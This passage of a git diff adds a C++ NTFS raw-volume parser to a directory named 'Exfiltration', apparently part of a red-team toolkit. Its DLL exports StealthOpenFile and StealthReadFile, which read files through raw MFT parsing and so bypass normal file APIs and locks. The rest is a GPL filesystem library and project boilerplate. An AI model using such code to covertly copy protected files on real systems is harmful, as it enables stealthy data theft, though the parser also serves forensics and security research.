+CNTFSVolume::~CNTFSVolume() +{ + if (hVolume != INVALID_HANDLE_VALUE) + CloseHandle(hVolume); + + if (MFTRecord) + delete MFTRecord; +} + +// Open a volume ('a' - 'z', 'A' - 'Z'), get volume handle and BPB +BOOL CNTFSVolume::OpenVolume(_TCHAR volume) +{ + // Verify parameter + if (!_istalpha(volume)) + { + NTFS_TRACE("Volume name error, should be like 'C', 'D'\n"); + return FALSE; + } + + _TCHAR volumePath[7]; + _sntprintf(volumePath, 6, _T("\\\\.\\%c:"), volume); + volumePath[6] = _T('\0'); + + hVolume = CreateFile(volumePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL); + if (hVolume != INVALID_HANDLE_VALUE) + { + DWORD num; + NTFS_BPB bpb; + + // Read the first sector (boot sector) + if (ReadFile(hVolume, &bpb, 512, &num, NULL) && num==512) + { + if (strncmp((const char*)bpb.Signature, NTFS_SIGNATURE, 8) == 0) + { + // Log important volume parameters + + SectorSize = bpb.BytesPerSector; + NTFS_TRACE1("Sector Size = %u bytes\n", SectorSize); + + ClusterSize = SectorSize * bpb.SectorsPerCluster; + NTFS_TRACE1("Cluster Size = %u bytes\n", ClusterSize); + + int sz = (char)bpb.ClustersPerFileRecord; + if (sz > 0) + FileRecordSize = ClusterSize * sz; + else + FileRecordSize = 1 << (-sz); + NTFS_TRACE1("FileRecord Size = %u bytes\n", FileRecordSize); + + sz = (char)bpb.ClustersPerIndexBlock; + if (sz > 0) + IndexBlockSize = ClusterSize * sz; + else + IndexBlockSize = 1 << (-sz); + NTFS_TRACE1("IndexBlock Size = %u bytes\n", IndexBlockSize); + + MFTAddr = bpb.LCN_MFT * ClusterSize; + NTFS_TRACE1("MFT address = 0x%016I64X\n", MFTAddr); + } + else + { + NTFS_TRACE("Volume file system is not NTFS\n"); + goto IOError; + } + } + else + { + NTFS_TRACE("Read boot sector error\n"); + goto IOError; + } + } + else + { + NTFS_TRACE1("Cannnot open volume %c\n", (char)volume); +IOError: + if (hVolume != INVALID_HANDLE_VALUE) + { + CloseHandle(hVolume); + hVolume = INVALID_HANDLE_VALUE; + } + return FALSE; + } + + return TRUE; +} + +// Check if Volume is successfully opened +__inline BOOL CNTFSVolume::IsVolumeOK() const +{ + return VolumeOK; +} + +// Get NTFS volume version +__inline WORD CNTFSVolume::GetVersion() const +{ + return Version; +} + +// Get File Record count +__inline ULONGLONG CNTFSVolume::GetRecordsCount() const +{ + return (MFTData->GetDataSize() / FileRecordSize); +} + +// Get BPB information + +__inline DWORD CNTFSVolume::GetSectorSize() const +{ + return SectorSize; +} + +__inline DWORD CNTFSVolume::GetClusterSize() const +{ + return ClusterSize; +} + +__inline DWORD CNTFSVolume::GetFileRecordSize() const +{ + return FileRecordSize; +} + +__inline DWORD CNTFSVolume::GetIndexBlockSize() const +{ + return IndexBlockSize; +} + +// Get MFT starting address +__inline ULONGLONG CNTFSVolume::GetMFTAddr() const +{ + return MFTAddr; +} + +// Install Attribute CallBack routines for the whole Volume +BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb) +{ + DWORD atIdx = ATTR_INDEX(attrType); + if (atIdx < ATTR_NUMS) + { + AttrRawCallBack[atIdx] = cb; + return TRUE; + } + else + return FALSE; +} + +// Clear all Attribute CallBack routines +__inline void CNTFSVolume::ClearAttrRawCB() +{ + for (int i = 0; i < ATTR_NUMS; i ++) + AttrRawCallBack[i] = NULL; +} + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParser/ReadMe.txt b/Exfiltration/NTFSParser/NTFSParser/ReadMe.txt new file mode 100644 index 00000000..db26458d --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/ReadMe.txt @@ -0,0 +1,40 @@ +======================================================================== + CONSOLE APPLICATION : NTFSParser Project Overview +======================================================================== + +AppWizard has created this NTFSParser application for you. + +This file contains a summary of what you will find in each of the files that +make up your NTFSParser application. + + +NTFSParser.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +NTFSParser.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +NTFSParser.cpp + This is the main application source file. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named NTFSParser.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/Exfiltration/NTFSParser/NTFSParser/stdafx.cpp b/Exfiltration/NTFSParser/NTFSParser/stdafx.cpp new file mode 100644 index 00000000..91c53edc --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// NTFSParser.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Exfiltration/NTFSParser/NTFSParser/stdafx.h b/Exfiltration/NTFSParser/NTFSParser/stdafx.h new file mode 100644 index 00000000..349be970 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/stdafx.h @@ -0,0 +1,17 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include +#include +#include +#include + + +// TODO: reference additional headers your program requires here diff --git a/Exfiltration/NTFSParser/NTFSParser/targetver.h b/Exfiltration/NTFSParser/NTFSParser/targetver.h new file mode 100644 index 00000000..87c0086d --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFS.h b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS.h new file mode 100644 index 00000000..ef6117bd --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS.h @@ -0,0 +1,28 @@ +/* + * NTFS include files + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_H_CYB70289 +#define __NTFS_H_CYB70289 + +#pragma pack(8) + +#include "NTFS_Common.h" +#include "NTFS_FileRecord.h" +#include "NTFS_Attribute.h" + +#pragma pack() + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.cpp b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.cpp new file mode 100644 index 00000000..e71d8ee5 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.cpp @@ -0,0 +1,161 @@ +/* + * + * Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +// +// This code uses libraries released under GPLv2(or later) written by cyb70289 + +#include "stdafx.h" +#include "NTFS.h" +#include "NTFS_DataType.h" + +using namespace std; + +struct FileInfo_t +{ + CNTFSVolume* volume; + CFileRecord* fileRecord; + CIndexEntry* indexEntry; + CAttrBase* data; +}; + +extern "C" HANDLE __declspec(dllexport) StealthOpenFile(char* filePathCStr) +{ + FileInfo_t* fileInfo = new FileInfo_t; + + string filePath = string(filePathCStr); + _TCHAR volumeName = filePath.at(0); + + fileInfo->volume = new CNTFSVolume(volumeName); + if (!fileInfo->volume->IsVolumeOK()) + { + return NULL; + } + + //Parse root directory + fileInfo->fileRecord = new CFileRecord(fileInfo->volume); + fileInfo->fileRecord->SetAttrMask(MASK_INDEX_ROOT | MASK_INDEX_ALLOCATION); + + if (!fileInfo->fileRecord->ParseFileRecord(MFT_IDX_ROOT)) + { + return NULL; + } + if (!fileInfo->fileRecord->ParseAttrs()) + { + return NULL; + } + + //Find subdirectory + fileInfo->indexEntry = new CIndexEntry; + int dirs = filePath.find(_T('\\'), 0); + int dire = filePath.find(_T('\\'), dirs+1); + + while (dire != string::npos) + { + string pathname = filePath.substr(dirs+1, dire-dirs-1); + const _TCHAR* pathnameCStr = (const _TCHAR*)pathname.c_str(); + if (fileInfo->fileRecord->FindSubEntry(pathnameCStr, *(fileInfo->indexEntry))) + { + if (!fileInfo->fileRecord->ParseFileRecord(fileInfo->indexEntry->GetFileReference())) + { + return NULL; + } + + if (!fileInfo->fileRecord->ParseAttrs()) + { + if (fileInfo->fileRecord->IsCompressed()) + { + return NULL; + } + else if (fileInfo->fileRecord->IsEncrypted()) + { + return NULL; + } + else + { + return NULL; + } + } + } + else + { + return NULL; + } + + + dirs = dire; + dire = filePath.find(_T('\\'), dirs+1); + } + + string fileName = filePath.substr(dirs+1, filePath.size()-1); + const _TCHAR* fileNameCStr = (const _TCHAR*)fileName.c_str(); + if (fileInfo->fileRecord->FindSubEntry(fileNameCStr, *(fileInfo->indexEntry))) + { + if (!fileInfo->fileRecord->ParseFileRecord(fileInfo->indexEntry->GetFileReference())) + { + return NULL; + } + + fileInfo->fileRecord->SetAttrMask(MASK_DATA); + if (!fileInfo->fileRecord->ParseAttrs()) + { + return NULL; + } + + fileInfo->data = (CAttrBase*)fileInfo->fileRecord->FindStream(); + + return fileInfo; + } + + return NULL; +} + + +extern "C" DWORD __declspec(dllexport) StealthReadFile(FileInfo_t* fileInfo, BYTE* buffer, DWORD bufferSize, ULONGLONG offset, DWORD* bytesRead, ULONGLONG* dataRemaining) +{ + + if (fileInfo->data) + { + ULONGLONG dataLength = (ULONGLONG)fileInfo->data->GetDataSize(); + ULONGLONG fullDataLength = dataLength; + + dataLength = dataLength - offset; + if (dataLength > bufferSize) + { + dataLength = bufferSize; + } + if (dataLength > MAXUINT32) + { + return 1; + } + + DWORD len; + if (fileInfo->data->ReadData(offset, buffer, dataLength, &len) && len == dataLength) + { + *bytesRead = len; + *dataRemaining = fullDataLength - len - offset; + return 0; //Success + } + return 3; + } + return 2; +} + + +extern "C" void __declspec(dllexport) StealthCloseFile(FileInfo_t* fileInfo) +{ + delete (fileInfo->data); + delete (fileInfo->indexEntry); + delete (fileInfo->volume); + delete fileInfo; +} diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj new file mode 100644 index 00000000..00f4963f --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj @@ -0,0 +1,172 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {5E42B778-F231-4797-B7FD-7D5BCA9738D0} + Win32Proj + NTFSParserDLL + + + + DynamicLibrary + true + v110 + NotSet + + + DynamicLibrary + true + v110 + NotSet + + + DynamicLibrary + false + v110_xp + true + NotSet + + + DynamicLibrary + false + v110_xp + true + NotSet + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + true + + + + + + + + + + + + false + false + + + + + false + false + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj.filters b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj.filters new file mode 100644 index 00000000..8bbd5fc4 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj.filters @@ -0,0 +1,39 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Attribute.h b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Attribute.h new file mode 100644 index 00000000..19ab7ce2 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Attribute.h @@ -0,0 +1,1663 @@ +/* + * NTFS Attribute Classes + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_ATTRIBUTE_H_CYB70289 +#define __NTFS_ATTRIBUTE_H_CYB70289 + + +//////////////////////////////// +// List to hold parsed DataRuns +//////////////////////////////// +typedef struct tagDataRun_Entry +{ + LONGLONG LCN; // -1 to indicate sparse data + ULONGLONG Clusters; + ULONGLONG StartVCN; + ULONGLONG LastVCN; +} DataRun_Entry; +typedef class CSList CDataRunList; + +//////////////////////////////////// +// List to hold Index Entry objects +//////////////////////////////////// +class CIndexEntry; +typedef class CSList CIndexEntryList; + + +//////////////////////////////// +// Attributes base class +//////////////////////////////// +class CAttrBase +{ +public: + CAttrBase(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrBase(); + +protected: + const ATTR_HEADER_COMMON *AttrHeader; + WORD _SectorSize; + DWORD _ClusterSize; + DWORD _IndexBlockSize; + HANDLE _hVolume; + const CFileRecord *FileRecord; + +public: + __inline const ATTR_HEADER_COMMON* GetAttrHeader() const; + __inline DWORD GetAttrType() const; + __inline DWORD GetAttrTotalSize() const; + __inline BOOL IsNonResident() const; + __inline WORD GetAttrFlags() const; + int GetAttrName(char *buf, DWORD bufLen) const; + int GetAttrName(wchar_t *buf, DWORD bufLen) const; + __inline BOOL IsUnNamed() const; + +protected: + virtual __inline BOOL IsDataRunOK() const = 0; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const = 0; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const = 0; +}; // CAttrBase + +CAttrBase::CAttrBase(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) +{ + _ASSERT(ahc); + _ASSERT(fr); + + AttrHeader = ahc; + FileRecord = fr; + + _SectorSize = fr->Volume->SectorSize; + _ClusterSize = fr->Volume->ClusterSize; + _IndexBlockSize = fr->Volume->IndexBlockSize; + _hVolume = fr->Volume->hVolume; +} + +CAttrBase::~CAttrBase() +{ +} + +__inline const ATTR_HEADER_COMMON* CAttrBase::GetAttrHeader() const +{ + return AttrHeader; +} + +__inline DWORD CAttrBase::GetAttrType() const +{ + return AttrHeader->Type; +} + +__inline DWORD CAttrBase::GetAttrTotalSize() const +{ + return AttrHeader->TotalSize; +} + +__inline BOOL CAttrBase::IsNonResident() const +{ + return AttrHeader->NonResident; +} + +__inline WORD CAttrBase::GetAttrFlags() const +{ + return AttrHeader->Flags; +} + +// Get ANSI Attribute name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CAttrBase::GetAttrName(char *buf, DWORD bufLen) const +{ + if (AttrHeader->NameLength) + { + if (bufLen < AttrHeader->NameLength) + return -1*AttrHeader->NameLength; // buffer too small + + wchar_t *namePtr = (wchar_t*)((BYTE*)AttrHeader + AttrHeader->NameOffset); + int len = WideCharToMultiByte(CP_ACP, 0, namePtr, AttrHeader->NameLength, + buf, bufLen, NULL, NULL); + if (len) + { + buf[len] = '\0'; + NTFS_TRACE1("Attribute name: %s\n", buf); + return len; + } + else + { + NTFS_TRACE("Unrecognized attribute name or Name buffer too small\n"); + return -1*AttrHeader->NameLength; + } + } + else + { + NTFS_TRACE("Attribute is unnamed\n"); + return 0; + } +} + +// Get UNICODE Attribute name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CAttrBase::GetAttrName(wchar_t *buf, DWORD bufLen) const +{ + if (AttrHeader->NameLength) + { + if (bufLen < AttrHeader->NameLength) + return -1*AttrHeader->NameLength; // buffer too small + + bufLen = AttrHeader->NameLength; + wchar_t *namePtr = (wchar_t*)((BYTE*)AttrHeader + AttrHeader->NameOffset); + wcsncpy(buf, namePtr, bufLen); + buf[bufLen] = '\0\0'; + + NTFS_TRACE("Unicode Attribute Name\n"); + return bufLen; + } + else + { + NTFS_TRACE("Attribute is unnamed\n"); + return 0; + } +} + +// Verify if this attribute is unnamed +// Useful in analyzing MultiStream files +__inline BOOL CAttrBase::IsUnNamed() const +{ + return (AttrHeader->NameLength == 0); +} + + +//////////////////////////////// +// Resident Attributes +//////////////////////////////// +class CAttrResident : public CAttrBase +{ +public: + CAttrResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrResident(); + +protected: + const ATTR_HEADER_RESIDENT *AttrHeaderR; + const void *AttrBody; // Points to Resident Data + DWORD AttrBodySize; // Attribute Data Size + + virtual __inline BOOL IsDataRunOK() const; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const; +}; // CAttrResident + +CAttrResident::CAttrResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrBase(ahc, fr) +{ + AttrHeaderR = (ATTR_HEADER_RESIDENT*)ahc; + AttrBody = (void*)((BYTE*)AttrHeaderR + AttrHeaderR->AttrOffset); + AttrBodySize = AttrHeaderR->AttrSize; +} + +CAttrResident::~CAttrResident() +{ +} + +__inline BOOL CAttrResident::IsDataRunOK() const +{ + return TRUE; // Always OK for a resident attribute +} + +// Return Actural Data Size +// *allocSize = Allocated Size +__inline ULONGLONG CAttrResident::GetDataSize(ULONGLONG *allocSize) const +{ + if (allocSize) + *allocSize = AttrBodySize; + + return (ULONGLONG)AttrBodySize; +} + +// Read "bufLen" bytes from "offset" into "bufv" +// Number of bytes acturally read is returned in "*actural" +BOOL CAttrResident::ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const +{ + _ASSERT(bufv); + + *actural = 0; + if (bufLen == 0) + return TRUE; + + DWORD offsetd = (DWORD)offset; + if (offsetd >= AttrBodySize) + return FALSE; // offset parameter error + + if ((offsetd + bufLen) > AttrBodySize) + *actural = AttrBodySize - offsetd; // Beyond scope + else + *actural = bufLen; + + memcpy(bufv, (BYTE*)AttrBody + offsetd, *actural); + + return TRUE; +} + + +//////////////////////////////// +// NonResident Attributes +//////////////////////////////// +class CAttrNonResident : public CAttrBase +{ +public: + CAttrNonResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrNonResident(); + +protected: + const ATTR_HEADER_NON_RESIDENT *AttrHeaderNR; + CDataRunList DataRunList; + +private: + BOOL bDataRunOK; + BYTE *UnalignedBuf; // Buffer to hold not cluster aligned data + BOOL PickData(const BYTE **dataRun, LONGLONG *length, LONGLONG *LCNOffset); + BOOL ParseDataRun(); + BOOL ReadClusters(void *buf, DWORD clusters, LONGLONG lcn); + BOOL ReadVirtualClusters(ULONGLONG vcn, DWORD clusters, + void *bufv, DWORD bufLen, DWORD *actural); + +protected: + virtual __inline BOOL IsDataRunOK() const; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const; +}; // CAttrNonResident + +CAttrNonResident::CAttrNonResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrBase(ahc, fr) +{ + AttrHeaderNR = (ATTR_HEADER_NON_RESIDENT*)ahc; + + UnalignedBuf = new BYTE[_ClusterSize]; + + bDataRunOK = ParseDataRun(); +} + +CAttrNonResident::~CAttrNonResident() +{ + delete UnalignedBuf; + + DataRunList.RemoveAll(); +} + +// Parse a single DataRun unit +BOOL CAttrNonResident::PickData(const BYTE **dataRun, LONGLONG *length, LONGLONG *LCNOffset) +{ + BYTE size = **dataRun; + (*dataRun)++; + int lengthBytes = size & 0x0F; + int offsetBytes = size >> 4; + + if (lengthBytes > 8 || offsetBytes > 8) + { + NTFS_TRACE1("DataRun decode error 1: 0x%02X\n", size); + return FALSE; + } + + *length = 0; + memcpy(length, *dataRun, lengthBytes); + if (*length < 0) + { + NTFS_TRACE1("DataRun length error: %I64d\n", *length); + return FALSE; + } + + (*dataRun) += lengthBytes; + *LCNOffset = 0; + if (offsetBytes) // Not Sparse File + { + if ((*dataRun)[offsetBytes-1] & 0x80) + *LCNOffset = -1; + memcpy(LCNOffset, *dataRun, offsetBytes); + + (*dataRun) += offsetBytes; + } + + return TRUE; +} + +// Travers DataRun and insert into a link list +BOOL CAttrNonResident::ParseDataRun() +{ + NTFS_TRACE("Parsing Non Resident DataRun\n"); + NTFS_TRACE2("Start VCN = %I64u, End VCN = %I64u\n", + AttrHeaderNR->StartVCN, AttrHeaderNR->LastVCN); + + const BYTE *dataRun = (BYTE*)AttrHeaderNR + AttrHeaderNR->DataRunOffset; + LONGLONG length; + LONGLONG LCNOffset; + LONGLONG LCN = 0; + ULONGLONG VCN = 0; + + while (*dataRun) + { + if (PickData(&dataRun, &length, &LCNOffset)) + { + LCN += LCNOffset; + if (LCN < 0) + { + NTFS_TRACE("DataRun decode error 2\n"); + return FALSE; + } + + NTFS_TRACE2("Data length = %I64d clusters, LCN = %I64d", length, LCN); + NTFS_TRACE(LCNOffset == 0 ? ", Sparse Data\n" : "\n"); + + // Store LCN, Data size (clusters) into list + DataRun_Entry *dr = new DataRun_Entry; + dr->LCN = (LCNOffset == 0) ? -1 : LCN; + dr->Clusters = length; + dr->StartVCN = VCN; + VCN += length; + dr->LastVCN = VCN - 1; + + if (dr->LastVCN <= (AttrHeaderNR->LastVCN - AttrHeaderNR->StartVCN)) + { + DataRunList.InsertEntry(dr); + } + else + { + NTFS_TRACE("DataRun decode error: VCN exceeds bound\n"); + + // Remove entries + DataRunList.RemoveAll(); + + return FALSE; + } + } + else + break; + } + + return TRUE; +} + +// Read clusters from disk, or sparse data +// *actural = Clusters acturally read +BOOL CAttrNonResident::ReadClusters(void *buf, DWORD clusters, LONGLONG lcn) +{ + if (lcn == -1) // sparse data + { + NTFS_TRACE("Sparse Data, Fill the buffer with 0\n"); + + // Fill the buffer with 0 + memset(buf, 0, clusters * _ClusterSize); + + return TRUE; + } + + LARGE_INTEGER addr; + DWORD len; + + addr.QuadPart = lcn * _ClusterSize; + len = SetFilePointer(_hVolume, addr.LowPart, &addr.HighPart, FILE_BEGIN); + + if (len == (DWORD)-1 && GetLastError() != NO_ERROR) + { + NTFS_TRACE1("Cannot locate cluster with LCN %I64d\n", lcn); + } + else + { + if (ReadFile(_hVolume, buf, clusters*_ClusterSize, &len, NULL) && + len == clusters*_ClusterSize) + { + NTFS_TRACE2("Successfully read %u clusters from LCN %I64d\n", clusters, lcn); + return TRUE; + } + else + { + NTFS_TRACE1("Cannot read cluster with LCN %I64d\n", lcn); + } + } + + return FALSE; +} + +// Read Data, cluster based +// clusterNo: Begnning cluster Number +// clusters: Clusters to read +// bufv, bufLen: Returned data +// *actural = Number of bytes acturally read +BOOL CAttrNonResident::ReadVirtualClusters(ULONGLONG vcn, DWORD clusters, + void *bufv, DWORD bufLen, DWORD *actural) +{ + _ASSERT(bufv); + _ASSERT(clusters); + + *actural = 0; + BYTE *buf = (BYTE*)bufv; + + // Verify if clusters exceeds DataRun bounds + if (vcn + clusters > (AttrHeaderNR->LastVCN - AttrHeaderNR->StartVCN +1)) + { + NTFS_TRACE("Cluster exceeds DataRun bounds\n"); + return FALSE; + } + + // Verify buffer size + if (bufLen < clusters*_ClusterSize) + { + NTFS_TRACE("Buffer size too small\n"); + return FALSE; + } + + // Traverse the DataRun List to find the according LCN + const DataRun_Entry *dr = DataRunList.FindFirstEntry(); + while(dr) + { + if (vcn>=dr->StartVCN && vcn<=dr->LastVCN) + { + DWORD clustersToRead; + + ULONGLONG vcns = dr->LastVCN - vcn + 1; // Clusters from read pointer to the end + + if ((ULONGLONG)clusters > vcns) // Fragmented data, we must go on + clustersToRead = (DWORD)vcns; + else + clustersToRead = clusters; + if (ReadClusters(buf, clustersToRead, dr->LCN+(vcn-dr->StartVCN))) + { + buf += clustersToRead*_ClusterSize; + clusters -= clustersToRead; + *actural += clustersToRead; + vcn += clustersToRead; + } + else + break; + + if (clusters == 0) + break; + } + + dr = DataRunList.FindNextEntry(); + } + + *actural *= _ClusterSize; + return TRUE; +} + +// Judge if the DataRun is successfully parsed +__inline BOOL CAttrNonResident::IsDataRunOK() const +{ + return bDataRunOK; +} + +// Return Actural Data Size +// *allocSize = Allocated Size +__inline ULONGLONG CAttrNonResident::GetDataSize(ULONGLONG *allocSize) const +{ + if (allocSize) + *allocSize = AttrHeaderNR->AllocSize; + + return AttrHeaderNR->RealSize; +} + +// Read "bufLen" bytes from "offset" into "bufv" +// Number of bytes acturally read is returned in "*actural" +BOOL CAttrNonResident::ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const +{ + // Hard disks can only be accessed by sectors + // To be simple and efficient, only implemented cluster based accessing + // So cluster unaligned data address should be processed carefully here + + _ASSERT(bufv); + + *actural = 0; + if (bufLen == 0) + return TRUE; + + // Bounds check + if (offset > AttrHeaderNR->RealSize) + return FALSE; + if ((offset + bufLen) > AttrHeaderNR->RealSize) + bufLen = (DWORD)(AttrHeaderNR->RealSize - offset); + + DWORD len; + BYTE *buf = (BYTE*)bufv; + + // First cluster Number + ULONGLONG startVCN = offset / _ClusterSize; + // Bytes in first cluster + DWORD startBytes = _ClusterSize - (DWORD)(offset % _ClusterSize); + // Read first cluster + if (startBytes != _ClusterSize) + { + // First cluster, Unaligned + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, 1, UnalignedBuf, _ClusterSize, &len) + && len == _ClusterSize) + { + len = (startBytes < bufLen) ? startBytes : bufLen; + memcpy(buf, UnalignedBuf + _ClusterSize - startBytes, len); + buf += len; + bufLen -= len; + *actural += len; + startVCN++; + } + else + return FALSE; + } + if (bufLen == 0) + return TRUE; + + DWORD alignedClusters = bufLen / _ClusterSize; + if (alignedClusters) + { + // Aligned clusters + DWORD alignedSize = alignedClusters*_ClusterSize; + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, alignedClusters, buf, alignedSize, &len) + && len == alignedSize) + { + startVCN += alignedClusters; + buf += alignedSize; + bufLen %= _ClusterSize; + *actural += len; + + if (bufLen == 0) + return TRUE; + } + else + return FALSE; + } + + // Last cluster, Unaligned + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, 1, UnalignedBuf, _ClusterSize, &len) + && len == _ClusterSize) + { + memcpy(buf, UnalignedBuf, bufLen); + *actural += bufLen; + + return TRUE; + } + else + return FALSE; +} + + +/////////////////////////////////// +// Attribute: Standard Information +/////////////////////////////////// +class CAttr_StdInfo : public CAttrResident +{ +public: + CAttr_StdInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_StdInfo(); + +private: + const ATTR_STANDARD_INFORMATION *StdInfo; + +public: + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; + __inline DWORD GetFilePermission() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; + + static void UTC2Local(const ULONGLONG &ultm, FILETIME *lftm); +}; // CAttr_StdInfo + +CAttr_StdInfo::CAttr_StdInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Standard Information\n"); + + StdInfo = 